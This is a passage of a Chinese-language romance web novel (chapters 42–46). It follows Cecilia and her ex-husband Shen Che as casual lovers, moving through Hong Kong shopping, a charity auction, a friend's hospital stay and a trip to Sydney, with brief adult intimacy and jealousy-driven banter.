结束后沈澈抱她去泡澡,不停亲她汗湿的头发。贺羡棠眼皮沉沉的,几乎睁不开,被他架着吹干头发,才躺到床上,陷入柔软被窝的瞬间就要睡过去。 沈澈觉得好可爱,又亲她鼻尖。贺羡棠像挥苍蝇一样挥了下手,含糊道:“痒。” 沈澈又亲了她一口,像那种处心积虑睡完觉就追着要名分的人一样,问:“我们这算什么?” “有完没完?”贺羡棠嘟囔了句,“炮友。” 炮友就炮友吧。沈澈想,从前夫到炮友,这是极具变革性的一步。 新上任的炮友知分寸懂进退,留下一个晚安吻后就离开。 他帮贺羡棠捻灭床头落地灯,无边寂静与黑夜中,贺羡棠很快就睡着了。入梦前,迷迷糊糊地想,这样也挺好。 这一次,停下或者继续,主动权都在她手里。 之后的一段时间,贺羡棠一直待在家练琴。离音乐会的时间越来越近了,各项工作有条不紊地进行,她很忙,还要抽时间去看林樾和绣姐,对沈澈就有些召之即来挥之即去了,他看上去也甘之如饴。 至于那天的事情,由于Mia不在,贺羡棠少了一个八卦对象,好在叶微填补了这个空缺,贺羡棠约她出门喝茶,听她讲后续。 赵立昇连夜跑出国,他的店是开不下去了,人在国外安不安全暂且不知道。 沈澈不会轻易放过他,贺羡棠也不是天生的软柿子脾气,只是知道这一点,才懒得自己和赵立昇计较。 叶微很好奇:“你们究竟是怎么回事?” 这事儿一言难尽,贺羡棠摆摆手,不欲多说:“没什么。” 叶微支着下巴:“听说沈董让人把赵小公子送回家时,还丢了句话。” “什么话?” “好像是……”叶微想了下,“如果赵董不会管教儿子,他不介意代劳。好夸张啊,你最近见到赵珩了吗?” “没有。”贺羡棠端起茶杯,轻抿一口,又叹气。 最近也没他的消息。 估计又挨赵叔的揍了。 叶微也跟着叹气:“我真搞不懂你们了。” 贺羡棠说:“我也搞不懂。” 搞不懂就不搞了,她带着叶微去shopping,从广东道一条街的奢侈品店铺到尖沙咀的买手店,看上什么就刷卡,叫sales送到家里去,至于价格,她连眼皮都不抬。 叶微和贺羡棠认识也有一段时间了,一直认为她是那种视金钱如粪土的人,虽然出生就在罗马,含着一百克拉大钻戒长大,但精神需求高于物质需求,身上没什么千金大小姐的脾气,以至于和她相处时,总会忘记她也出身顶级豪门。 和沈家一样顶的那种。 今天叶微见识了,这也算是另一种意义上的“视金钱如粪土”,钱算什么,对她来说像纸。 叶微好歹国际超模,出场费也算是天价,但平时买个贵点的包也是会心疼好一阵的。她们这行吃青春饭的,来钱又没娱乐圈那群人那么快,自然省着点。 所以当贺羡棠拿着两只房子包问她想要哪个时,叶微感动的都快要哭了。她扑上去抱着贺羡棠,脸上挂着此生最真诚的表情:“我愿意永远陪在你身边,哪怕是当你的小三。” Mia平时开玩笑就荤素不忌的,贺羡棠早习惯了,勾勾她下巴说:“晚上洗干净来我床上。” 叶微脆生生道:“得嘞!” 话音落地她觉得气氛有些不对。身边的sales把头埋的很低,温度好像骤降八百度。 叶微打了个喷嚏,搓掉胳膊上的鸡皮疙瘩,一转头,看见沈澈黑着张脸。 其实他脸上没什么表情,就是莫名地让人觉得他不爽。几秒钟后,他掏出手机,拨周聿安的电话,沉声说:“把你女朋友领回去。” 叶微直觉地感到一丝危险,贴着墙溜了,当然走前也没忘了她的包。 这家购物城是上个世纪远南集团填海造的,贺羡棠这边还没刷上卡,那边她的账单就已经放在沈澈办公桌上了。沈澈难得今天有时间,赶来给她结账,谁知一进店就听见方才那番谈话。 怎么回事? 贺羡棠怎么斩男又斩女? 沈澈深呼吸,努力挤出一个微笑,看着贺羡棠,十分无辜地问:“她怎么走了?” “被某些人吓跑了吧。”贺羡棠笑盈盈的,“沈董今天怎么有时间?” 现在只要是贺羡棠的事情,他哪天都有时间。反而是贺羡棠,沈澈约了她好几次,都被她用工作忙的借口推脱回去了。他这个新晋炮友,这些天也没见上她几面,还都是他眼巴巴地追到人家里去。 沈澈递一张卡出去,sales自然会刷他的,贺羡棠坐下吃一块意式树莓挞,刚吃了一口,就被沈澈攥着手腕带走了。 贺羡棠也不问去哪,上了他的车,街景流转,华灯初上,霓虹灯掠成一条细线。 认出这是回她家的路线,贺羡棠开口:“去酒店。” 司机略一侧头,他只听雇主的吩咐。沈澈说:“听cici的。” 于是到了远南集团旗下的一家酒店,沈澈在这里有一间专属的套房。 炮友么,到了酒店,还能干什么。沈澈倒是贴心地叫人送晚餐上来,贺羡棠下午喝了一肚子茶水,这会儿不饿,搂着他脖子去亲他下巴。 贺羡棠问:“你怎么处理赵立昇的?” 赵立昇逃去日本,当晚就被他的人找到。沈澈抽身亲自去了一趟,把他给贺羡棠用的那种药再给他灌回去,然后让他一次次用手解决。 一整晚,到最后他也没记清多少次,总是够他长个教训了。 这种事不该让贺羡棠听,他不是她以为的端方君子,是阎王罗刹。 沈澈揉了下贺羡棠耳朵,说:“你不要听。” 贺羡棠就没再问,解他的领带。 她好主动,沈澈的耐力全线崩溃。 从会客厅到卧室,衣服丢了一路。再次从床上撑起身子,已经深夜了。沈澈叫人来换床单,贺羡棠随意裹了条披肩,满房间找她的包。 披肩不长,只能遮住大腿,沈澈的视线落在她那双笔直修长的小腿上,回味着方才这双腿握在手心时的滋味,哑声笑道:“找不到就别找了,再送你一个。” “就在房间里,又不会丢。”贺羡棠拎起地毯上他的西装外套,从下面拾起她的包,然后拿出钱夹,数了一沓钱,塞进沈澈衬衫领口里。 沈澈笑着问:“给我钱干什么?” 贺羡棠也笑:“A你房费。” 旖旎的气氛瞬间被打破了,沈澈定定地看着她,忽觉房间里的空调打的太低。 沈澈明白她最近为什么总是忙了。如她所说,她在用他曾经对待她的方式来对待他。 敛去眼底几分酸涩,沈澈拿掉她的披肩,给她换上家居服,将她的头发从领口中尽数捞出来时,沈澈凑近贺羡棠耳畔,低声说:“Cecilia,你在惩罚我。” 贺羡棠沉默。 沈澈勾着唇笑,吻她耳朵尖:“我甘之如饴。” 43 第43章 ◎你答应今天陪我的。”◎ 贺羡棠推开沈澈,冷冷道:“我要回家了。” 沈澈说:“我送你。” 贺羡棠拒绝地干脆:“不用,让司机送我就行。” 身上的家居服懒得再换下来,她披上来时穿的长外套,没有再看沈澈一眼,抬脚往外走。 “这么晚了,麻烦司机干什么。”沈澈跟在她身后,若无其事地念叨,“还是我送你吧。” 贺羡棠回头看了他一眼:“你很吵。” 沈澈抿下唇:“好吧。下周集团有一场慈善拍卖会,你能陪我一起去吗?” 其实是以远南集团旗一家酒店的名义发起的,和大陆国企合作,级别远不到沈澈亲自过问的程度,只不过他昨天心血来潮看了拍品册,有几只花瓶很漂亮,贺羡棠应该会喜欢。 贺羡棠问:“哪天?” “周天。” “应该没什么事。” 这算是答应了。 沈澈眸底浮起笑意,轻轻捏贺羡棠的脸,嘱咐道:“回去早点休息。” 回到家已经很晚了,贺羡棠点一支香薰蜡烛,在薄荷和玫瑰的味道里沉进浴缸里。 困。 懒得动。 腰疼。 贺羡棠揉着腰,在心里骂沈澈不知足,要的这样多,活像饿了八百年。 搁在一旁的电话忽然响了,贺羡棠等了几秒钟,才缓缓撑起身子,伸手在毛巾上胡乱擦了两下,捞过手机一看,是Mia打来的。 她赶忙接通:“你终于舍得给我打个电话啦?!” Mia以前在瑞士上过学,回瑞士像回到第二个家乡一样,辗转泡在各个party里,一天能赶三个场,玩尽兴了,才想起来国内还有个可怜兮兮的小cici等着她。 Mia讪讪的:“哎呀说什么话,我还能忘了你吗?我就是……就是……” 她绞尽脑汁地想借口。 “我懂。”贺羡棠说,“怕我向贺少川告密是吧?不信任我!我是那样的人吗?” “你不是你不是。”Mia打着哈哈,“我就是想一个人静静。” 电话那头忽然有人喊了声“Mia”,紧接着又是一声“darling”,声音热情,甜腻的令人发慌。 贺羡棠挑眉:“一个人?” 她语气冰冷,言外之意是“你背着我在外面跟别人好了是吧?” “就今天!我同学喊我出来玩,不好推辞。”Mia觉得自己像个夜不归宿的渣男,忙转移话题,“我不在国内,你最近怎么样啊,想我了吗?” 贺羡棠唉声叹气,说:“一言难尽。” Mia:“那就多说几句。” 贺羡棠长话短说:“挺复杂的,总之就是……我和沈澈发展成了炮友。” Mia足足用了半分钟消化这句话,痛心疾首:“堕落了啊贺羡棠,堕落了啊cecilia!” 贺羡棠烦着呢:“你还说我,你跟贺少川怎么回事?” “就那么回事呗,他跟我求婚,我没同意。”Mia语气轻飘飘的,不拿这个当回事儿,“然后我俩就掰了。” 贺羡棠说:“贺少川这个年纪了,恨嫁也正常,你理解一下。” Mia哈哈大笑:“让他找别人嫁去。” “他哪有人要。” Mia依旧开玩笑:“怎么会呢。贺大少招招手愿意娶他的女人能从浅水湾排到澳门。” “他不钟意啊。” Mia的朋友又来催,她匆忙挂了电话。 贺羡棠心想这可不算她没帮大佬讲话,郎心似铁她能怎么办。 三月。香港的春天到了。气温一天一天回升,日日都是大晴天,街头年轻的女孩儿已经早早穿上了短裙。 二十度的气温不高不低,空气湿度刚刚好,贺羡棠心情也好,只是这样的好天气没持续多久,三月的天阴晴不定,阴雨天又降温,一时冷的要穿薄羽绒服。 随着雨天一同来的,还有赵珩的一通电话。 贺羡棠坐在床边,看维港上慢慢飘起来的一层雾气,深呼吸,终于做好心理准备,刚一伸手要点接通,电话却自动挂断了。 算了,随缘吧。 这些天彼此都没联络,估计赵珩也不知道怎么面对她。 贺羡棠施施然收回手,又对着窗外发呆,不一会儿听见有人敲门。 周日下午三点多。贺羡棠还记得天答应了陪沈澈出席慈善拍卖会,只是没想到他来的这样早,她去开门,嘟囔了句:“怎么这么早,你不上……” 剩下的话在看清来人后咽回去了。 赵珩失魂落魄地站在门外,头垂得很低。他明明比贺羡棠高很多,但贺羡棠只能看见他毛绒绒的头顶。 赵珩缓缓抬起湿漉漉的黑亮黑亮的眼眸,委屈地问:“你以为是谁?” 一瞬间贺羡棠好像看见赵珩小时候的样子。 他小时候受了欺负,就这样,圆溜溜的眼睛里藏满了委屈,好像下一秒眼泪就能夺眶而出,跟只抢不着食粮的小狗似的。 贺羡棠笑了。 赵珩“啧”了声:“你笑什么?” “你像……”贺羡棠想了下,“小金毛。” 赵珩瞪大眼:“你骂我是狗?” 到底三十多年穿纸尿裤时就认识的交情,一两句话间,尴尬烟消云散。 贺羡棠倚着门框打量他:“狗狗这么可爱,狗狗怎么是骂人的话呢。” 赵珩“哼哼”两声,忽然说:“我还以为你不会理我了。” 贺羡棠说:“你和Mia都是我的家人。” 赵珩咧开嘴笑了,笑了会儿他说:“我不会放过赵立昇那个畜牲的!” 提到这事儿,贺羡棠问:“赵叔揍你了吗?” “腿差点给我打断。” “啊呀。”贺羡棠说,“这么狠?” “虎毒还不食子呢,他逮着我那是往死里揍啊!”赵珩本来不想卖惨,架不住实在是太惨了,“我整整在医院躺了一个星期。” 贺羡棠缓缓站直身子:“给我看看。” “有什么好看的,都好了,没事儿。”赵珩一摆手说,“别让我在这儿站着了呗?” 光顾着聊天,贺羡棠一拍脑门儿,侧过身说:“快进。” 他拿这当自己家,一进门就躺在沙发上,支使贺羡棠给他倒水。还是伤号儿,贺羡棠任劳任怨,还给他冲蜂蜜。 杯子递过去,贺羡棠不小心碰到他指尖,滚烫,她蹙了下眉,伸手探他额头,吓得要死:“怎么这么烫,你发烧了?” “是么?”赵珩也摸额头,说,“我没感觉啊。” “烧恒温了。”贺羡棠说,“起来,我送你去医院。” / 下午六点,沈澈去接贺羡棠一同参加晚上的慈善拍卖会,途径太子道,又给她带了一束向日葵,只是人站在她家门口,一遍遍地按响门铃时,无人回应。 没办法,他只好拨贺羡棠的电话,响了好一会儿那边才接。 贺羡棠说:“啊,我忘了,你去接我了吗?我不在家。” 沈澈食指扣进领带,松了松:“在哪?” “医院。” 沈澈呼吸一滞:“身体不舒服吗?怎么去医院?在哪家医院,稍等,我马上过去。” “不用了,不是我。”贺羡棠说,“赵珩发烧了,在输液。” 沈澈默了片刻。 贺羡棠一向是个很守信的人,所以这也是惩罚的一部分吗?惩罚他曾经数次失约。 他不说话,贺羡棠主动说:“今晚我不能陪你过去了。” “冇事。”沈澈扯开领带。 本就不是什么重要的事情,贺羡棠不去,他也没兴致,心猿意马地想,不若也不去了,让下面人代替他开幕致辞。 贺羡棠又问:“拍卖会上有什么有趣的东西吗?” “有些花瓶,你可能会喜欢。” “那你挑好看的拍下来给我吧,为慈善事业做贡献呀。” 沈澈又去了。一晚虽心不在焉,却也做开幕致辞,拍了几支花瓶。没人敢跟沈董事长抬价,最终成交价格都在合理的价位内。 拍卖会结束后还有晚宴,内地那家国企的老总也到场,邀请他赏光喝一杯酒,沈澈推辞有事,扣上西装外套,先行离开。 迈巴赫驶入浓重的夜色之中。沈澈拨贺羡棠的电话,听着话筒里的忙音,食指不停轻敲膝盖,说不出有几分烦躁。 终于接通了。 沈澈问:“忙完了吗?我这边刚结束,可以去接你。” “还没有。”贺羡棠说,“你不用管我,回家休息吧。” 沈澈不悦:“那你要陪他到几点?” 他们孤男寡女的一块儿,还是赵珩。沈澈语气不免有些急。 赵珩输的液里有安眠成分,已经睡了。贺羡棠扫了他一眼,轻手轻脚地走出病房,带上门,双臂抱胸,沉声问:“你生气了?” 虽然没见面,沈澈气焰却无端短三分:“我没有。” 贺羡棠说:“没有最好。” 沈澈舌尖扫过牙齿,醋意翻涌:“你答应今天陪我的。” 贺羡棠提醒他:“只是一场拍卖会。你当初也答应过陪我过生日,不还是没做到?” 沈澈一顿,他理亏。 默了一息,他为自己辩解:“那时候光千照的情况比较危险,她家人都不在美国,我恰好在。” “我知道,我理解,我不是要跟你翻旧账。我只是想说,你有你的朋友,我也有我的朋友,你的朋友生产你会去陪她,我的朋友生病我当然也会陪他。”贺羡棠说,“我不是故意要失约,你这样指责我不公平。” “那不一样。”沈澈蹙起眉,“赵珩喜欢你。” 贺羡棠反问:“光千照不喜欢你吗?” 【作者有话说】 有时候想说你们仨把日子过好比什么都强,不行啊不行,沈老板他又争又抢。 44 第44章 ◎沈澈觉得他脖子上有个无形的狗项圈,另一端握在贺羡棠手里◎ “她不喜欢我。”沈澈揉着眉心,为了老婆,他暂时出卖朋友,“她喜欢女人。” “嗯?!” 贺羡棠足足有十几秒没说出话。 太震撼了。 sooooooamazing! 她完全忘了方才剑拔弩张要吵架的气氛,只沉浸在对这惊天秘密的震惊之中。 经度国际银行的CFO是lgbt人士! 沈澈几乎能想象到她现在的样子,必然是一双水亮的眼睛瞪的溜圆,睫毛一眨不眨,柔软的唇瓣微微张着,像只猫似的可爱。 他轻笑一声:“有这么震惊吗?” 贺羡棠“嗯”了声。 底线十分容易突破。沈澈继续同她讲:“她的小孩其实是前女友提供的卵子,不过孕期时两人就分手了。” 贺羡棠呆呆的:“啊?为什么?” “缘来缘往,哪有那么多为什么。”沈澈笑了笑,揶揄她,“cecilia,你以前是不是吃过她的醋?” “我……”贺羡棠哑口无言,半晌说,“我没有,我只是……你和她关系那样好,也不能怪我误会吧?” 沈澈说:“是我的错。我应该和异性朋友保持更恰当的距离,以后不会了。” 其实这些年里他和光千照也没有刻意维护关系,只是年少时的同学,工作后又多有交集,友谊是水到渠成自然而然的事情。 相处过程中,沈澈自认也很有边界感,无非是两人都聚在同一座城市且空闲时,一起吃个饭,君子之交淡如水的感觉。 除了那年光千照生产,医院下病危通知书,他人在北美,于情于理,都实在没办法坐视不管。 贺羡棠也从未表现出在意。当时沈澈在医院见到她,她扑过来搂着他脖子撒娇,坐了十几个小时的飞机,一见到他,却不知疲倦般兴致勃勃。 沈澈问她:“你怎么来了?” 贺羡棠笑盈盈地说:“我生日呀,你抽不开身,我就来找你!” 她眸光没暗半分,以至于沈澈以为,她不在意。 后知后觉地发现,原来贺羡棠当时在吃醋。沈澈心情实在太好,点一支烟抽。 他好迟钝,居然错过了贺羡棠那么多可爱的小情绪。 “谁管你啊?”贺羡棠轻哼了声,“你和她是否保持距离,都和我没关系。” “是是是,”沈澈说,“我自愿的。” 他落下车窗,手腕搭在上面,轻轻弹了下香烟的过滤嘴,几星烟灰飘出去,晚风扑面。 放在几年前,沈澈绝想不到,他哄女人,哄的如此心甘情愿乐在其中。 听筒里安静了片刻,能听到细微的呼吸声,沈澈心猿意马起来。这次慈善拍卖会是为了两岸艺术文化行业的交流,也是进一步合作的诚意,来的都是两岸名流。 一晚上,各方都来寒暄,他一一应付过去,原就有些疲倦,如今又抽烟,声音不免染上几分低哑。 “很晚了,我接你回家休息好不好?” 贺羡棠推开门,眯着眼从门缝里往里瞧,输液袋里还剩大半药水:“赵珩还没输完液。” 沈澈吐出口烟圈:“他那么大一人了,还不能自己输液吗?” 贺羡棠不满:“你烦不烦?” 沈澈不敢说话了,一口接一口地抽着烟。 贺羡棠说:“挂了。” 耳边忽然没了贺羡棠清亮好听的声音,沈澈总觉得少点什么,猛吸一口烟,忽然想到那句话。 真是……革/命尚未成功,同志仍需努力。 贺羡棠又等了半个小时左右,赵珩才输完液。她困的眼皮都睁不开,幸好vip病房是套间,另有一间卧室,她和衣而眠,将就一晚。 第二天一早醒来,贺羡棠第一件事就是去摸赵珩的额头。 正常温度。 已经退烧了。 她总算放心。 赵珩早就醒了,已经洗漱完换好一身晨袍,半躺在床上看手机:“我就说吧,都是小病。咱这身体倍儿棒!” 也不知道从哪学来的一口京腔。贺羡棠点头,闭着嘴“嗯嗯”两声,表示赞同。 赵珩精神比昨天好多了:“你饿吗?让他们送点早餐来吃?” 贺羡棠想回家吃,于是摇头。 赵珩奇道:“你怎么不说话啊?” 贺羡棠捂着嘴:“我还没刷牙。” “咱俩谁跟谁,我又不嫌弃你。” “不行,我嫌弃我自己。”她依旧捂着嘴,声音听起来闷闷的。说完这话,就噔噔噔地跑去洗漱了。 牙膏牙具都是新的,薄荷味儿。洗漱完,贺羡棠一身清爽,回到赵珩病床前,说:“走吧,我先送你回家。” “真不吃早餐啊?”赵珩提议,“咱去吃早茶也行啊。” “回家吃吧。我最近要闭关练琴,得赶紧回去。” 赵珩有些遗憾,又不好打扰她工作:“行吧。为了准备音乐会吗?我也去吧,给我留张票。” “你不用票。”贺羡棠说,“你直接来后台,我给你安排专属vip座位。” 赵珩看着她笑:“好啊。” 把赵珩送回去,贺羡棠独自驱车回家。刚迈出电梯,看见走廊里立着道熟悉的人影。 沈澈风格大变,今天穿的休闲,蓝色衬衫外套一件黑色针织衫,灰色斜纹领带系的略松,但不会显得没精神,略做装饰。袖口微微挽起,腕上的表也换成了更休闲的款式,白色盘面,棕色鳄鱼皮表带,经典卡拉卓华壳形,低调儒雅。 他怀里还抱着束宫灯百合,以及一支墨绿色方形盒子。 他很少这样打扮,这一身……倒像大学老师。 贺羡棠问他:“今天没上班?” “今天周六。” “什么时候来的。” 沈澈说:“一个多小时前。” “怎么不打我电话?” “我今天没事,可以等你忙完。” 贺羡棠推开门,闻言扭头看他,忍不住伸手勾他下巴:“好懂事。” 调情的姿态,她做的熟稔。 沈澈唇角挂着浅笑,配合地弯下腰,在她耳畔,蜻蜓点水般吻了一下:“有没有奖励?” 贺羡棠说:“沈生好贪心。” 他随她进门,驾轻就熟地换拖鞋,花放在桌上,方形盒子递给贺羡棠:“昨晚拍下的花瓶,我料想你肯定喜欢,剩下还有几支,明天我再让人送来。” 这支是最漂亮的,沈澈连等手续办完的耐心都没有,迫不及待拿来讨贺羡棠欢心。 清朝时期的粉红色玻璃瓶,放到现在,颜色以后漂亮,温润如玉的玻璃器,恰到好处地搅进几抹淡粉,这粉飘的又极灵动。 贺羡棠果真喜欢,左右瞧了半晌,找了一束芍药花摆进去。 重瓣白芍药,花瓣厚实,也飘着一点粉,阳光流转间,似有珠光。 “唔该。”贺羡棠说,“真的很漂亮,你眼光好。” 这次沈澈不再询问,长臂捞过她的腰扣进怀里,略一垂首,吻上她的唇。 那里比芍药花瓣更饱满,轻轻一碾,也能碾出丰盈甜美的汁水。 他买这支花瓶花了八位数,得贺羡棠一笑,觉得全天下没有比这更划算的买卖了。 贺羡棠手指顺从地搭在他肩膀上,不主动回应,但也没推开。 吻着吻着,就要动情,忽然听见“咕噜”一声。贺羡棠眼睛微微睁大,双手交叠,放在小腹上,耳垂脸颊都红扑扑的。 “咕噜”,又一声。 沈澈放开她,笑了:“赵珩不给你饭吃?” 贺羡棠说:“你不给我饭吃。” “我这不是在喂你?”他轻轻在她唇上啄吻,想了下,还是先走进厨房,打开冰箱,牛奶面包新鲜蔬果一应俱全,东西倒是不少。 沈澈问:“想吃什么?” 贺羡棠不挑:“随便!” 沈澈煎了培根芦笋口蘑和鸡蛋,烤香草多士,煮虾仁洒胡椒粉,泡热牛奶,一餐还算简单。 耐心等贺羡棠吃饱,沈澈又抱着她闹到落地窗边,吻她脖颈,还不忘损赵珩两句:“他早餐都不给你做。” 早晨阳光好,贺羡棠被晒的暖洋洋的,舒服地眯了眯眼。 该练琴了。 她点点沈澈肩膀,笑吟吟道:“沈董该走了。” 八位数,就换了贺羡棠一餐饭的好脸色。沈澈埋在她颈窝里,轻轻咬了一口:“这就赶我走?” 沈澈觉得他脖子上有个无形的狗项圈,另一端握在贺羡棠手里,她松一下紧一下,全凭心情。 “我要练琴了。”贺羡棠推开他。 之后的一段时间,沈澈常往贺羡棠家跑,但每每待不了多久,贺羡棠就要赶客了。 沈澈也忙,常常加班到深夜。 数次碰壁后,直到三月下旬的某天,惠风和畅,风清日朗,沈澈挑了个好时间,晚上九点多,带鲜花和香槟酒登门,踌躇满志,今夜势在必得。 结果扑了个空。 贺羡棠家里没人,打电话也没人接,让人去查才知道,她为了音乐会,航班改签,提前两天飞澳洲了。 45 第45章 ◎“cecilia,你在关心我吗?”◎ 澳大利亚,新南威尔士州,悉尼。 贺羡棠运气不好,刚到悉尼,就遇当地政府和气象局发布暴雨预警,预计下周飓风登陆,强风加强降雨,或会影响公共交通并导致部分路段关闭。 幸运的是,飓风登陆时间在音乐会后两三天,且本次飓风强度不高,只会影响贺羡棠的返程航班。 她在悉尼有一套公寓,无非是多待两天而已。 作为香港人,贺羡棠早已习惯这种天气。 她盘腿坐在落地窗前,托着腮愣神。粉紫色的云霞之中,一轮黄铜色的月亮缓缓升起,远处海湾大桥上聚起浓密的云朵,橘子瓣般白帆构成的建筑静静立于桥头,飞鸟掠过,城市的灯光次第亮起。 “暴风雨前的宁静啊……” 叶微和她一个姿势:“真的有飓风吗?看起来天气很好哎。” 贺羡棠老神在在:“说不定晚上就下雨。” 香港也是这样的天气,晴空万里与滂沱大雨就在一线之间。 叶微把脸*转向贺羡棠,一脸担忧:“那明天还能户外射.击吗?” 这是她这次旅途中最期待的行程,真枪实弹,比在香港玩气/枪有意思多了。 贺羡棠说:“去,下雨也去。” “打着伞玩?” 贺羡棠比划了一条圆弧线:“我让他们给你搭玻璃房。” 只要愿意付钱,没什么搞不定的。 “好霸总啊……”叶微捧着心口,感觉周遭不停地冒粉红泡泡,“要不是有周聿安,我一定嫁给你。” 贺羡棠笑倒在她身上。 有人按门铃,叶微“咦”了声:“这时候谁来?” 她起身去开门,看清来人,直接愣住了,呆了两秒扭头喊:“c……cici!” 沈澈不满地蹙眉:“怎么又是你?” 叶微小声嘟囔:“是我总比是赵珩好吧?” 这人怎么什么物种不分男女的醋都吃啊?醋精转世吗? “谁啊?” 贺羡棠赤脚踩着地毯走出来,“哦”了一声,语气揶揄:“沈董晚上好啊。” “不好。”沈澈说,“怎么不打声招呼就跑了,你……” 他下意识想去揽贺羡棠的腰,手都伸出去一半了,想起叶微这个超大号电灯泡,轻飘飘地扫了她一眼。 目光从眼尾落下来,轻,又冷,叶微忍不住打了个寒噤:“我我我我我我……” 我怎么办? 她摸了下鼻尖,余光不停地瞥贺羡棠。Cecilia没接收到她求救的信号,一直笑吟吟地看着沈澈。 叶微觉得她那目光里透着一股运筹帷幄的挑衅。 沈澈沉声问:“还不走?” 他还没见过这么没眼色的人。 叶微缩着脖子立刻要溜。 贺羡棠攥着她手腕:“她晚上住在这儿,该走的是沈董哦。” 这套公寓装修时只留了一间卧室,沈澈眉毛拧的更紧了:“她住这儿?” 叶微忙说:“我住酒店!” 她缩着脖子赶紧溜了,临走前掐着脖子给贺羡棠比划磨刀杀鸡的动作,意思是不是姐妹儿不够仗义而是我再不走那姓沈的就要宰了我了。 门被沈澈反手关上,“咔哒”一声轻响,落锁。紧接着贺羡棠整个人被托着屁股抱起来抵在门上,她怕掉下去,两条腿下意识缠上沈澈的腰。 好暧昧的姿势,室内温度节节攀升,以至于贺羡棠脸颊一阵阵地烧着。 沈澈埋在她颈窝里,轻轻咬了一口,闷声笑道:“故意招我呢吧?” 贺羡棠评价:“自恋。” 沈澈声线有些哑:“故意改签航班不告诉我,等着我来追你的吧?” 贺羡棠说:“只是和叶微想去射击场玩。” “借口。” 贺羡棠漫不经心地捏了一缕他的头发玩:“你是我什么人,我改签航班为什么要告诉你。” 沈澈抬起脸笑了声:“炮友啊。” 接下来他就专心做炮友该做的事。 他鼻梁很高,蹭过她脖颈,痒酥酥的。贺羡棠仰起头,浑身软下来,任他胡乱地亲着,听见一点隐晦暧昧的水声。 头顶一盏小灯亮着,洒下一片扇形光,贺羡棠眯了下眼睛,忽然伸手推他:“沈澈,别在这儿。” 沈澈一只手捏住她大腿,不疾不徐地摩挲着:“叫我什么?” 贺羡棠也是最近才发现,他在这种事情上掌控欲强的吓人,几乎是不容反抗,常常是她被他带着走,做到意识模糊神志不清,被要求说几句好听的,理智崩溃时含糊地叫两声,然后只会被推入更深的、几乎无法承受的快感之中。 贺羡棠上过几次当。 “不要在这,”贺羡棠咬他,在他肩上留下一个湿漉漉的牙印,“顶光不好看。” 沈澈抬眸瞧她,水润泛红的唇,脸颊红扑扑的,看着水蜜桃一样可口。他亲了一口:“明明很好看。” 不过他还是尊重贺羡棠的意愿,将人带到落地窗前。公寓了楼层很高,视野开阔,周围没有同等高度的建筑,不会被人看见,可贺羡棠还是忍不住羞的轻轻颤抖,浑身覆上一层薄粉。 灯光晃眼,贺羡棠半眯着眼,伸手在床头按了两下,正中的水晶吊灯关上,只剩床头一盏小夜灯幽静地亮着。 “你该走了。” 沈澈“啧”了声。 从客厅的落地窗边,到浴室的洗漱台,再到床上,洗完澡躺下,贺羡棠连睁开眼的力气都快没了,还记得赶他走。 “声音哑成这样,”沈澈亲她下巴,“我给你倒杯蜂蜜水润润喉。” 贺羡棠推开他,不耐烦道:“你该走了。” 这些天他们的关系一直这样。可以做,但做完就走,贺羡棠从不许他留宿。 床上合拍,床下又冷若冰霜,态度判若两人,好像只拿他当泄/欲工具来用。 沈澈咽下舌尖的一点苦涩,摸了摸她的脸,小声说:“又睡完就翻脸不认人。” 贺羡棠挥开他:“烦不烦?” 沈澈说:“你去唱川剧吧。” “嗯?” “变脸。” 贺羡棠闭着眼笑了声,听见沈澈离开的脚步声,小夜灯幽幽地闪着光,贺羡棠睡觉喜欢更黑一点的环境,但她懒得去关了。 不一会儿沈澈又回来了。 玻璃杯放在桌上,发出很轻的一声响。 “我走了,水放在这。” 沈澈把床头的小夜灯也关上,卧室内陷入一片漆黑。贺羡棠昏昏沉沉地睡过去,半梦半醒之际,感到额头上一点湿润的触感。 有一点凉。 “晚安。”沈澈说。 轰隆隆,闷雷炸响。 沈澈驱车回酒店,驶过海港大桥时,电闪雷鸣,大雨倾盆而下,全黑的G63与雨夜几乎要融为一体。 独自奔波,沈澈说不上什么心情。跨洋航班,还未倒时差,又遇上寂寥的雨夜,大概是有一点疲倦。但一想到贺羡棠,他心里好像也有一盏小夜灯亮着,静静地散发着暖黄色的光。 他灵魂的某一部分,留在了贺羡棠那里。 即便贺羡棠现在仍不待见他。 到酒店时已是深夜。 这是悉尼的秋天,整座城市笼罩在滂沱大雨之中。 沈澈又去冲热水澡,吹干头发,躺上床看手机时,发现贺羡棠给他发的消息。 “外面下雨了。” 来自十几分钟前。 他不自觉地勾着唇:“我到酒店了。” 贺羡棠在脑后垫了个枕头,半躺着坐起来,手指悬在屏幕上方,犹豫了一会儿。 “早点睡。” 她刚刚被雷声吵醒,看着闪电从厚重云层中劈出来,忽然想起沈澈,此刻正栉风沐雨地奔波在路上。 不知道路况怎么样? 贺羡棠等来了沈澈的电话。贺羡棠等了十几秒钟,点接通。 沈澈笑着解释:“刚刚去洗澡了,所以才看见你的消息。” 贺羡棠:“哦。” 忘记从什么时候开始,沈澈开始回复她的每一条消息,即便有事耽搁,也会解释一句。 沈澈笑吟吟的:“cecilia,你在关心我吗?” 46 第46章 ◎沈澈心口都像在水里泡着,软的一塌糊涂。◎ 雨未停,毛毛雨落了一整天。 下午贺羡棠仍带叶微去户外射/击场。这是家私人俱乐部,环境清幽,位置离市区不远,树木茂盛,绿茵草地起伏,偶有湖泊藏匿其中,湖面上水波荡漾。 乘摆渡车走了不知多久,叶微眼前出现一顶玻璃房。 三角玻璃顶,两面有支撑,拢着白色窗帘,前后开阔,因此更像是花园连廊,一旁支着顶巨大的白色遮雨伞,摆甜品架和鲜花瀑布。 摆渡车停下,工作人员撑伞上前迎接。 贺羡棠小费给的足,硬生生让最擅长磨洋工的白人拜倒在金钱之下,冒着风雨把玻璃房搭起来了。 叶微惊叹,又一次认识到钱真的是万能的。 “像婚礼现场。” 贺羡棠笑笑,坐在遮雨伞下,让一个白人教练带她玩。 “你不玩?”叶微随便摸了把枪熟悉手感,瞄准,小声嘟囔了句,“哎,怎么没有激光瞄准?” 她打十米靶。 教练在一旁说了几句话。澳洲人懒音太多,叶微的英语本来就一般,一不留神就没听清:“叽里咕噜说什么呢?” 贺羡棠叹了口气,起身到她身后,从后面揽住她肩膀,轻轻扶上胳膊,帮她调整姿势。 “你没上靶。” 叶微轻轻“啊”了声,要被自己蠢哭了。 贺羡棠手心贴上她额头向后推:“往后一点,这跟气/枪不一样,后坐力大,容易伤到额头。” 叶微冒星星眼:“你好厉害哦!” 贺羡棠随口说:“一般,其实我也不太会。沈澈玩这个比较厉害。” 